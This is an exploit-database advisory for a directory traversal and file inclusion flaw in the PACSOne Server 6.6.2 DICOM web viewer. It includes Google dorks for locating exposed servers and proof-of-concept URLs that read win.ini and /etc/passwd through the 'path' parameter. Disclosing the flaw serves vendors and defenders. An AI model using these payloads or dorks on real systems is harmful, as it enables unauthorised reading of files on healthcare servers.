PACSOne Server 6.6.2 DICOM Web Viewer Directory Traversal

2018.01.29
Credit: Carlos Avila
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-22

# Exploit Title: PACSOne Server 6.6.2 DICOM Web Viewer Directory Trasversal / Local File Inclusion # Date: 08/14/2017 # Software Link: http://www.pacsone.net/download.htm # Google Dork: inurl:pacs/login.php inurl:pacsone/login.php inurl:pacsone filetype:php home inurl:pacsone filetype:php login # Version: PACSOne Server 6.6.2 # Category: webapps # Tested on: Windows 7 / Debian Linux # Exploit Author: Carlos Avila # Contact: http://twitter.com/badboy_nt 1. Description DICOM Web Viewer is a component written in PHP that is part of PacsOne software. In version 6.6.2, it is vulnerable to local file inclusion. This allows an attacker to read arbitrary files that the web user has access to. Admin credentials aren't required. The 'path' parameter via GET is vulnerable. Found: 08/14/2017 Vendor Reply & Fix: 09/28/2017 2. Proof of Concept http://localhost/pacs/nocache.php?path=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini http://localhost/pacsone/nocache.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2f.%2fzpx%2f..%2fpasswd 3. Solution: Application inputs must be validated correctly.


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